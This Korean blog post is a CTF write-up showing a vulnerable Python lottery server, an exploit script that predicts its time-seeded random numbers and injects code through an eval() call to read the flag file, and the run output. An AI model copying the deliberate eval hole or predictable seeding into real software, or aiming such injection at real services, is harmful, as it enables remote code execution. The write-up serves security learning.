티스토리 뷰
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 | # 2014.02.08 02:00:41 PST import time import random import SocketServer class Server(SocketServer.BaseRequestHandler): hall_of_fame = [] def print_hall_of_fame(self): res = '-------- the Hall of Fame --------\n' l = len(self.hall_of_fame) if l == 0: res += '\tNo one was win!\n\tGood luck!\n' elif l < 5: for h in self.hall_of_fame: res += '\tName: %s\n' % h else: for h in self.hall_of_fame[(l - 5):(l - 1)]: res += '\tName: %s\n' % h res += '----------------------------------\n\n' self.request.sendall(res) def Win(self): self.request.sendall('Congratulations!\n\nWe will record your name in\ the Hall of Fame!\n') self.request.sendall('Your name: ') name = self.request.recv(60).strip() if len(name) > 127: self.request.sendall("Buffer overflow alert!\nPlease don't :p\n") return self.request.sendall('Comment: ') comment = self.request.recv(60).strip() if len(comment) > 127: self.request.sendall("Buffer overflow alert!\nPlease don't :p\n") return self.hall_of_fame.append(name) eval(comment) def Lose(self, lotto_numbers): ans = '' for l in lotto_numbers: ans += '%d ' % l self.request.sendall('Sorry for your lose\nThe answer was: %s\n' % ans) def checkNumbers(self, lotto_numbers, user_choice): if len(lotto_numbers) != len(user_choice): self.request.sendall('Something is wrong') return False for i in range(len(lotto_numbers)): if lotto_numbers[i] != user_choice[i]: return False return True def pickRandom(self): t_str = time.ctime() t = int(time.time()) random.seed(t) lotto_numbers = [] i = 0 while i < 7: r = random.randint(1, 45) flag = 0 for l in lotto_numbers: if r == l: flag = 1 if flag: continue lotto_numbers.append(r) i += 1 lotto_numbers = sorted(lotto_numbers) return (t_str, lotto_numbers) def pickNumbers(self): self.request.sendall('Please pick 7 numbers in 1 to 45\n') user_choice = [] i = 1 while i < 8: self.request.sendall('\tChoice %d: ' % i) data = self.request.recv(32).strip() try: n = int(data) except: self.request.sendall('\tThis is not a number\n') continue if n < 1 or n > 45: self.request.sendall('\tPlease pick a number in 1 to 45\n') continue flag = 0 for u in user_choice: if u == n: flag = 1 if flag: self.request.sendall('\tPlease pick another number in 1 \ to 45\n') continue else: user_choice.append(n) i += 1 user_choice = sorted(user_choice) return user_choice def handle_error(self, r, addr): print r, print addr def handle(self): try: (t_str, lotto_numbers,) = self.pickRandom() self.request.sendall('Welcome to lottery service\n\n') self.print_hall_of_fame() user_choice = self.pickNumbers() if self.checkNumbers(lotto_numbers, user_choice): self.Win() else: self.Lose(lotto_numbers) self.request.sendall('\nThank you for your time\n') except: pass def main(): (HOST, PORT,) = ('0.0.0.0', 7777) server = SocketServer.TCPServer((HOST, PORT), Server) server.allow_reuse_address = True while 1: server.handle_request() if __name__ == '__main__': main() | cs |
[!] 사실 프로그램 맨위에 써져있는 시간으로 time seed가 결정되지만 저는 그냥
현재 시간으로 돌렸습니다. 그래서 직접 random값을 다시 구해야 하는..
[*] srand의 seed가 같다면 random값도 같음. 즉 현재 시간을 srand의 seed로 해버리면
exploit상에서 시간을 같이 구해버리면 똑같은 값이 나와버림,
여기서는 lotto의 값을 그 방식으로 구해야 함.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | #!/usr/bin/env python from time import * from random import * from socket import * def setSock(ip, port): s = socket(AF_INET, SOCK_STREAM) s.connect((ip, port)) return s def getRand(): t = int(time()) seed(t) values = [] i = 0 while i < 7: r = randint(1, 45) flag = 0 for l in values: if r == l: flag = 1 if flag: continue values.append(r) values = sorted(values) i+=1 return values def exploit(s, randValue): s.recv(1024) for i in range(7): s.send(str(randValue[i]) + "\n") print "[*] " + s.recv(1024)[-64:80] s.recv(1024) s.send("Name\n") s.send("self.request.sendall(open('flag').read())\n") print "[*] flag is {" + s.recv(1024)[9:25] + "}" if __name__ == "__main__": s = setSock("localhost", 7777) print "[*] Random Values :", getRand() exploit(s, getRand()) | cs |
getRand함수로 Random한 lotto의 값들을 구하고 보내주면 축하 메세지와 함께
name과 comment변수를 받음. 그 후 eval(comment)를 실행시켜줌.
string값을 python문법으로 실행시켜주는 함수인데 이 부분이 취약함
getRand함수로 값을 구하고 보냄 -> eval을 이용하여 open으로 flag값을 읽음.
1 2 3 4 | $ ./exploit.py [*] Random Values : [1, 4, 13, 18, 26, 37, 45] [*] Congratulation! [*] flag is {srand_time vuln!} | cs |
1 | [*] flag is {srand_time vuln!} | cs |
'Pwnable > CTF' 카테고리의 다른 글
CODEGATE 2015 JUNIOR [ SYSTEMSHOCK ] (0) | 2015.03.28 |
---|---|
CODEGATE 2015 JUNIOR 예선 WRITE UP (0) | 2015.03.16 |
GITS2012 [Pwnable 200] (0) | 2015.01.30 |
Volga CTF 2014 [exploit 400] (0) | 2015.01.30 |
Volga CTF 2014 [exploit 300] (0) | 2015.01.29 |
댓글